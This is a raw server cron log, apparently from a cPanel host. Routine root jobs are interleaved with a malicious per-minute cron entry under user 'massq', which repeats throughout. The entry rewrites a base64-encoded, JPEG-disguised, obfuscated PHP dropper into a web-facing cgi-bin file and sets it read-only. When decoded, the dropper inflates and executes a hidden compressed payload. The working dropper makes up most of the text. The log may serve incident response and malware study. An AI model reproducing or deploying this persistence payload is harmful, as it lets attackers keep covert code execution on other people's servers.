Sep  5 16:21:01 server CROND[21693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:22:01 server CROND[22065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:22:01 server CROND[22066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:22:01 server CROND[22067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:23:01 server CROND[22431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:23:01 server CROND[22432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:23:01 server CROND[22433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:24:01 server CROND[22950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:24:01 server CROND[22951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:24:01 server CROND[22952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:25:01 server CROND[23450]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:25:01 server CROND[23458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:25:01 server CROND[23459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:25:01 server CROND[23462]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:25:01 server CROND[23464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:25:01 server CROND[23467]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 16:25:01 server CROND[23460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:25:01 server CROND[23463]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:26:01 server CROND[24286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:26:01 server CROND[24288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:26:01 server CROND[24287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:27:01 server CROND[24655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:27:01 server CROND[24657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:27:01 server CROND[24656]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 16:27:01 server CROND[24658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:28:01 server CROND[25023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:28:01 server CROND[25024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:28:01 server CROND[25026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:29:01 server CROND[25395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:29:01 server CROND[25396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:29:01 server CROND[25398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:30:01 server CROND[25893]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:30:01 server CROND[25895]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:30:01 server CROND[25896]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 16:30:01 server CROND[25898]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:30:01 server CROND[25902]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:30:01 server CROND[25906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:30:01 server CROND[25904]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:30:01 server CROND[25905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:30:01 server CROND[25908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:31:01 server CROND[26731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:31:01 server CROND[26733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:31:01 server CROND[26732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:32:01 server CROND[27102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:32:01 server CROND[27103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:32:01 server CROND[27104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:33:01 server CROND[27482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:33:01 server CROND[27483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:33:01 server CROND[27484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:34:01 server CROND[27849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
